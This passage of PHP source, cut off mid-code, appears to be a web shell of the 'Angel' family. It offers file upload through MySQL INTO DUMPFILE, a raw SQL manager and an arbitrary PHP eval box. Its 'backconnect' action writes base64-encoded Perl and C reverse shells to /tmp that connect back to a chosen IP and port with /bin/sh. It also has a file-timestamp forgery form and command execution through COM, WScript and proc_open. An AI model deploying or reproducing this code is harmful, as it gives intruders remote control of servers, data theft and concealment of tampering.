  768. if($doing=="mysqlupload"){
  769. $file = $_FILES['uploadfile'];
  770. $filename = $file['tmp_name'];
  771. if (file_exists($savepath)) {
  772. m('The goal file has already existed');
  773. } else {
  774. if(!$filename) {
  775. m('Please choose a file');
  776. } else {
  777. $fp=@fopen($filename,'r');
  778. $contents=@fread($fp, filesize($filename));
  779. @fclose($fp);
  780. $contents = bin2hex($contents);
  781. if(!$upname) $upname = $file['name'];
  782. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  783. $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  784. m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  785. }
  786. }
  787. }
  788. ?>
  789.  
  790. <script type="text/javascript">
  791. function mysqlfile(doing){
  792. if(!doing) return;
  793. $('doing').value=doing;
  794. $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  795. $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  796. $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  797. $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  798. $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  799. $('mysqlfile').charset.value=$('dbinfo').charset.value;
  800. $('mysqlfile').submit();
  801. }
  802. </script>
  803. <?php
  804. !$dbhost && $dbhost = 'localhost';
  805. !$dbuser && $dbuser = 'root';
  806. !$dbport && $dbport = '3306';
  807. $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  808. formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  809. makehide('action','sqlfile');
  810. p('<p>');
  811. p('DBHost:');
  812. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  813. p(':');
  814. makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  815. p('DBUser:');
  816. makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  817. p('DBPass:');
  818. makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  819. p('DBName:');
  820. makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  821. p('DBCharset:');
  822. makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  823. p('</p>');
  824. formfoot();
  825. p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  826. p('<h2>Upload file</h2>');
  827. p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  828. p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  829. p('<h2>Download file</h2>');
  830. p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  831. makehide('dbhost');
  832. makehide('dbport');
  833. makehide('dbuser');
  834. makehide('dbpass');
  835. makehide('dbname');
  836. makehide('charset');
  837. makehide('doing');
  838. makehide('action','sqlfile');
  839. p('</form>');
  840. }
  841.  
  842. elseif ($action == 'sqladmin') {
  843. !$dbhost && $dbhost = 'localhost';
  844. !$dbuser && $dbuser = 'root';
  845. !$dbport && $dbport = '3306';
  846. $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  847. if(isset($dbhost)){
  848. $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  849. }
  850. if(isset($dbuser)) {
  851. $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  852. }
  853. if(isset($dbpass)) {
  854. $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  855. }
  856. if(isset($dbport)) {
  857. $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  858. }
  859. if(isset($dbname)) {
  860. $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  861. }
  862. if(isset($charset)) {
  863. $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  864. }
  865.  
  866. if ($doing == 'backupmysql' && $saveasfile) {
  867. if (!$table) {
  868. m('Please choose the table');
  869. } else {
  870. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  871. $table = array_flip($table);
  872. $fp = @fopen($path,'w');
  873. if ($fp) {
  874. $result = q('SHOW tables');
  875. if (!$result) p('<h2>'.mysql_error().'</h2>');
  876. $mysqldata = '';
  877. while ($currow = mysql_fetch_array($result)) {
  878. if (isset($table[$currow[0]])) {
  879. sqldumptable($currow[0], $fp);
  880. }
  881. }
  882. fclose($fp);
  883. $fileurl = str_replace(SA_ROOT,'',$path);
  884. m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  885. mysql_close();
  886. } else {
  887. m('Backup failed');
  888. }
  889. }
  890. }
  891. if ($insert && $insertsql) {
  892. $keystr = $valstr = $tmp = '';
  893. foreach($insertsql as $key => $val) {
  894. if ($val) {
  895. $keystr .= $tmp.$key;
  896. $valstr .= $tmp."'".addslashes($val)."'";
  897. $tmp = ',';
  898. }
  899. }
  900. if ($keystr && $valstr) {
  901. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  902. m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  903. }
  904. }
  905. if ($update && $insertsql && $base64) {
  906. $valstr = $tmp = '';
  907. foreach($insertsql as $key => $val) {
  908. $valstr .= $tmp.$key."='".addslashes($val)."'";
  909. $tmp = ',';
  910. }
  911. if ($valstr) {
  912. $where = base64_decode($base64);
  913. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  914. m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  915. }
  916. }
  917. if ($doing == 'del' && $base64) {
  918. $where = base64_decode($base64);
  919. $delete_sql = "DELETE FROM $tablename WHERE $where";
  920. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  921. m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  922. }
  923.  
  924. if ($tablename && $doing == 'drop') {
  925. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  926. if (q("DROP TABLE $tablename")) {
  927. m('Drop table of success');
  928. $tablename = '';
  929. } else {
  930. m(mysql_error());
  931. }
  932. }
  933.  
  934. $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  935.  
  936. formhead(array('title'=>'MYSQL Manager'));
  937. makehide('action','sqladmin');
  938. p('<p>');
  939. p('DBHost:');
  940. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  941. p(':');
  942. makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  943. p('DBUser:');
  944. makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  945. p('DBPass:');
  946. makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  947. p('DBCharset:');
  948. makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  949. makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  950. p('</p>');
  951. formfoot();
  952. ?>
  953.  
  954. <script type="text/javascript">
  955. function editrecord(action, base64, tablename){
  956. if (action == 'del') {
  957. if (!confirm('Is or isn\'t deletion record?')) return;
  958. }
  959. $('recordlist').doing.value=action;
  960. $('recordlist').base64.value=base64;
  961. $('recordlist').tablename.value=tablename;
  962. $('recordlist').submit();
  963. }
  964. function moddbname(dbname) {
  965. if(!dbname) return;
  966. $('setdbname').dbname.value=dbname;
  967. $('setdbname').submit();
  968. }
  969. function settable(tablename,doing,page) {
  970. if(!tablename) return;
  971. if (doing) {
  972. $('settable').doing.value=doing;
  973. }
  974. if (page) {
  975. $('settable').page.value=page;
  976. }
  977. $('settable').tablename.value=tablename;
  978. $('settable').submit();
  979. }
  980. </script>
  981. <?php
  982. //&#25805;&#20316;&#35760;&#24405;
  983. formhead(array('name'=>'recordlist'));
  984. makehide('doing');
  985. makehide('action','sqladmin');
  986. makehide('base64');
  987. makehide('tablename');
  988. p($dbform);
  989. formfoot();
  990.  
  991. //&#36873;&#23450;&#25968;&#25454;&#24211;
  992. formhead(array('name'=>'setdbname'));
  993. makehide('action','sqladmin');
  994. p($dbform);
  995. if (!$dbname) {
  996. makehide('dbname');
  997. }
  998. formfoot();
  999.  
  1000. //&#36873;&#23450;&#34920;
  1001. formhead(array('name'=>'settable'));
  1002. makehide('action','sqladmin');
  1003. p($dbform);
  1004. makehide('tablename');
  1005. makehide('page',$page);
  1006. makehide('doing');
  1007. formfoot();
  1008.  
  1009. $cachetables = array();
  1010. $pagenum = 30;
  1011. $page = intval($page);
  1012. if($page) {
  1013. $start_limit = ($page - 1) * $pagenum;
  1014. } else {
  1015. $start_limit = 0;
  1016. $page = 1;
  1017. }
  1018. if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  1019. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  1020. //&#33719;&#21462;&#25968;&#25454;&#24211;&#20449;&#24687;
  1021. $mysqlver = mysql_get_server_info();
  1022. p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  1023. $highver = $mysqlver > '4.1' ? 1 : 0;
  1024.  
  1025. //&#33719;&#21462;&#25968;&#25454;&#24211;
  1026. $query = q("SHOW DATABASES");
  1027. $dbs = array();
  1028. $dbs[] = '-- Select a database --';
  1029. while($db = mysql_fetch_array($query)) {
  1030. $dbs[$db['Database']] = $db['Database'];
  1031. }
  1032. makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  1033. $tabledb = array();
  1034. if ($dbname) {
  1035. p('<p>');
  1036. p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  1037. if ($tablename) {
  1038. p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  1039. }
  1040. p('</p>');
  1041. mysql_select_db($dbname);
  1042.  
  1043. $getnumsql = '';
  1044. $runquery = 0;
  1045. if ($sql_query) {
  1046. $runquery = 1;
  1047. }
  1048. $allowedit = 0;
  1049. if ($tablename && !$sql_query) {
  1050. $sql_query = "SELECT * FROM $tablename";
  1051. $getnumsql = $sql_query;
  1052. $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  1053. $allowedit = 1;
  1054. }
  1055. p('<form action="'.$self.'" method="POST">');
  1056. p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  1057. makehide('tablename', $tablename);
  1058. makehide('action','sqladmin');
  1059. p($dbform);
  1060. p('</form>');
  1061. if ($tablename || ($runquery && $sql_query)) {
  1062. if ($doing == 'structure') {
  1063. $result = q("SHOW COLUMNS FROM $tablename");
  1064. $rowdb = array();
  1065. while($row = mysql_fetch_array($result)) {
  1066. $rowdb[] = $row;
  1067. }
  1068. p('<table border="0" cellpadding="3" cellspacing="0">');
  1069. p('<tr class="head">');
  1070. p('<td>Field</td>');
  1071. p('<td>Type</td>');
  1072. p('<td>Null</td>');
  1073. p('<td>Key</td>');
  1074. p('<td>Default</td>');
  1075. p('<td>Extra</td>');
  1076. p('</tr>');
  1077. foreach ($rowdb as $row) {
  1078. $thisbg = bg();
  1079. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1080. p('<td>'.$row['Field'].'</td>');
  1081. p('<td>'.$row['Type'].'</td>');
  1082. p('<td>'.$row['Null'].'&nbsp;</td>');
  1083. p('<td>'.$row['Key'].'&nbsp;</td>');
  1084. p('<td>'.$row['Default'].'&nbsp;</td>');
  1085. p('<td>'.$row['Extra'].'&nbsp;</td>');
  1086. p('</tr>');
  1087. }
  1088. tbfoot();
  1089. } elseif ($doing == 'insert' || $doing == 'edit') {
  1090. $result = q('SHOW COLUMNS FROM '.$tablename);
  1091. while ($row = mysql_fetch_array($result)) {
  1092. $rowdb[] = $row;
  1093. }
  1094. $rs = array();
  1095. if ($doing == 'insert') {
  1096. p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  1097. } else {
  1098. p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  1099. $where = base64_decode($base64);
  1100. $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  1101. $rs = mysql_fetch_array($result);
  1102. }
  1103. p('<form method="post" action="'.$self.'">');
  1104. p($dbform);
  1105. makehide('action','sqladmin');
  1106. makehide('tablename',$tablename);
  1107. p('<table border="0" cellpadding="3" cellspacing="0">');
  1108. foreach ($rowdb as $row) {
  1109. if ($rs[$row['Field']]) {
  1110. $value = htmlspecialchars($rs[$row['Field']]);
  1111. } else {
  1112. $value = '';
  1113. }
  1114. $thisbg = bg();
  1115. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1116. p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  1117. }
  1118. if ($doing == 'insert') {
  1119. p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  1120. } else {
  1121. p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  1122. makehide('base64', $base64);
  1123. }
  1124. p('</table></form>');
  1125. } else {
  1126. $querys = @explode(';',$sql_query);
  1127. foreach($querys as $num=>$query) {
  1128. if ($query) {
  1129. p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  1130. switch(qy($query))
  1131. {
  1132. case 0:
  1133. p('<h2>Error : '.mysql_error().'</h2>');
  1134. break;
  1135. case 1:
  1136. if (strtolower(substr($query,0,13)) == 'select * from') {
  1137. $allowedit = 1;
  1138. }
  1139. if ($getnumsql) {
  1140. $tatol = mysql_num_rows(q($getnumsql));
  1141. $multipage = multi($tatol, $pagenum, $page, $tablename);
  1142. }
  1143. if (!$tablename) {
  1144. $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  1145. $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1146. preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  1147. $tablename = $matches[1][0];
  1148. }
  1149. $result = q($query);
  1150. p($multipage);
  1151. p('<table border="0" cellpadding="3" cellspacing="0">');
  1152. p('<tr class="head">');
  1153. if ($allowedit) p('<td>Action</td>');
  1154. $fieldnum = @mysql_num_fields($result);
  1155. for($i=0;$i<$fieldnum;$i++){
  1156. $name = @mysql_field_name($result, $i);
  1157. $type = @mysql_field_type($result, $i);
  1158. $len = @mysql_field_len($result, $i);
  1159. p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1160. }
  1161. p('</tr>');
  1162. while($mn = @mysql_fetch_assoc($result)){
  1163. $thisbg = bg();
  1164. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1165. $where = $tmp = $b1 = '';
  1166. foreach($mn as $key=>$inside){
  1167. if ($inside) {
  1168. $where .= $tmp.$key."='".addslashes($inside)."'";
  1169. $tmp = ' AND ';
  1170. }
  1171. $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  1172. }
  1173. $where = base64_encode($where);
  1174. if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  1175. p($b1);
  1176. p('</tr>');
  1177. unset($b1);
  1178. }
  1179. tbfoot();
  1180. p($multipage);
  1181. break;
  1182. case 2:
  1183. $ar = mysql_affected_rows();
  1184. p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1185. break;
  1186. }
  1187. }
  1188. }
  1189. }
  1190. } else {
  1191. $query = q("SHOW TABLE STATUS");
  1192. $table_num = $table_rows = $data_size = 0;
  1193. $tabledb = array();
  1194. while($table = mysql_fetch_array($query)) {
  1195. $data_size = $data_size + $table['Data_length'];
  1196. $table_rows = $table_rows + $table['Rows'];
  1197. $table['Data_length'] = sizecount($table['Data_length']);
  1198. $table_num++;
  1199. $tabledb[] = $table;
  1200. }
  1201. $data_size = sizecount($data_size);
  1202. unset($table);
  1203. p('<table border="0" cellpadding="0" cellspacing="0">');
  1204. p('<form action="'.$self.'" method="POST">');
  1205. makehide('action','sqladmin');
  1206. p($dbform);
  1207. p('<tr class="head">');
  1208. p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1209. p('<td>Name</td>');
  1210. p('<td>Rows</td>');
  1211. p('<td>Data_length</td>');
  1212. p('<td>Create_time</td>');
  1213. p('<td>Update_time</td>');
  1214. if ($highver) {
  1215. p('<td>Engine</td>');
  1216. p('<td>Collation</td>');
  1217. }
  1218. p('</tr>');
  1219. foreach ($tabledb as $key => $table) {
  1220. $thisbg = bg();
  1221. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1222. p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1223. p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1224. p('<td>'.$table['Rows'].'</td>');
  1225. p('<td>'.$table['Data_length'].'</td>');
  1226. p('<td>'.$table['Create_time'].'</td>');
  1227. p('<td>'.$table['Update_time'].'</td>');
  1228. if ($highver) {
  1229. p('<td>'.$table['Engine'].'</td>');
  1230. p('<td>'.$table['Collation'].'</td>');
  1231. }
  1232. p('</tr>');
  1233. }
  1234. p('<tr class='.bg().'>');
  1235. p('<td>&nbsp;</td>');
  1236. p('<td>Total tables: '.$table_num.'</td>');
  1237. p('<td>'.$table_rows.'</td>');
  1238. p('<td>'.$data_size.'</td>');
  1239. p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  1240. p('</tr>');
  1241.  
  1242. p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1243. makehide('doing','backupmysql');
  1244. formfoot();
  1245. p("</table>");
  1246. fr($query);
  1247. }
  1248. }
  1249. }
  1250. tbfoot();
  1251. @mysql_close();
  1252. }//end sql backup
  1253.  
  1254.  
  1255. elseif ($action == 'backconnect') {
  1256. !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1257. !$yourport && $yourport = '12345';
  1258. $usedb = array('perl'=>'perl','c'=>'c');
  1259.  
  1260. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  1261. "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  1262. "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  1263. "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  1264. "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  1265. "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  1266. "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1267. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  1268. "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  1269. "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  1270. "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  1271. "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  1272. "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  1273. "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  1274. "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1275.  
  1276. if ($start && $yourip && $yourport && $use){
  1277. if ($use == 'perl') {
  1278. cf('/tmp/angel_bc',$back_connect);
  1279. $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  1280. } else {
  1281. cf('/tmp/angel_bc.c',$back_connect_c);
  1282. $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1283. @unlink('/tmp/angel_bc.c');
  1284. $res = execute("/tmp/angel_bc $yourip $yourport &");
  1285. }
  1286. m("Now script try connect to $yourip port $yourport ...");
  1287. }
  1288.  
  1289. formhead(array('title'=>'Back Connect'));
  1290. makehide('action','backconnect');
  1291. p('<p>');
  1292. p('Your IP:');
  1293. makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
  1294. p('Your Port:');
  1295. makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
  1296. p('Use:');
  1297. makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
  1298. makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
  1299. p('</p>');
  1300. formfoot();
  1301. }//end sql backup
  1302.  
  1303. elseif ($action == 'eval') {
  1304. $phpcode = trim($phpcode);
  1305. if($phpcode){
  1306. if (!preg_match('#<\?#si', $phpcode)) {
  1307. $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  1308. }
  1309. eval("?".">$phpcode<?");
  1310. }
  1311. formhead(array('title'=>'Eval PHP Code'));
  1312. makehide('action','eval');
  1313. maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
  1314.  
  1315. formfooter();
  1316. }//end eval
  1317.  
  1318. elseif ($action == 'editfile') {
  1319. if(file_exists($opfile)) {
  1320. $fp=@fopen($opfile,'r');
  1321. $contents=@fread($fp, filesize($opfile));
  1322. @fclose($fp);
  1323. $contents=htmlspecialchars($contents);
  1324. }
  1325. formhead(array('title'=>'Create / Edit File'));
  1326. makehide('action','file');
  1327. makehide('dir',$nowpath);
  1328. makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1329. maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  1330. formfooter();
  1331. }//end editfile
  1332.  
  1333. elseif ($action == 'newtime') {
  1334. $opfilemtime = @filemtime($opfile);
  1335. //$time = strtotime("$year-$month-$day $hour:$minute:$second");
  1336. $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1337. formhead(array('title'=>'Clone file was last modified time'));
  1338. makehide('action','file');
  1339. makehide('dir',$nowpath);
  1340. makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1341. makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1342. formfooter();
  1343. formhead(array('title'=>'Set last modified'));
  1344. makehide('action','file');
  1345. makehide('dir',$nowpath);
  1346. makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1347. p('<p>Instead &raquo;');
  1348. p('year:');
  1349. makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1350. p('month:');
  1351. makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1352. p('day:');
  1353. makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1354. p('hour:');
  1355. makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1356. p('minute:');
  1357. makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1358. p('second:');
  1359. makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1360. p('</p>');
  1361. formfooter();
  1362. }//end newtime
  1363.  
  1364. elseif ($action == 'shell') {
  1365. if (IS_WIN && IS_COM) {
  1366. if($program && $parameter) {
  1367. $shell= new COM('Shell.Application');
  1368. $a = $shell->ShellExecute($program,$parameter);
  1369. m('Program run has '.(!$a ? 'success' : 'fail'));
  1370. }
  1371. !$program && $program = 'c:\windows\system32\cmd.exe';
  1372. !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  1373. formhead(array('title'=>'Execute Program'));
  1374. makehide('action','shell');
  1375. makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1376. p('<p>');
  1377. makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1378. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1379. p('</p>');
  1380. formfoot();
  1381. }
  1382. formhead(array('title'=>'Execute Command'));
  1383. makehide('action','shell');
  1384. if (IS_WIN && IS_COM) {
  1385. $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1386. makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1387. }
  1388. p('<p>');
  1389. makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1390. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1391. p('</p>');
  1392. formfoot();
  1393.  
  1394. if ($command) {
  1395. p('<hr width="100%" noshade /><pre>');
  1396. if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  1397. $wsh = new COM('WScript.shell');
  1398. $exec = $wsh->exec('cmd.exe /c '.$command);
  1399. $stdout = $exec->StdOut();
  1400. $stroutput = $stdout->ReadAll();
  1401. echo $stroutput;
  1402. } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  1403. $descriptorspec = array(
  1404. 0 => array('pipe', 'r'),
  1405. 1 => array('pipe', 'w'),
  1406. 2 => array('pipe', 'w')
  1407. );
  1408. $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1409. if (is_resource($process)) {
  1410. fwrite($pipes[0], $command."\r\n");
  1411. fwrite($pipes[0], "exit\r\n");
  1412. fclose($pipes[0]);
  1413. while (!feof($pipes[1])) {
  1414. echo fgets($pipes[1], 1024);
  1415. }
  1416. fclose($pipes[1]);
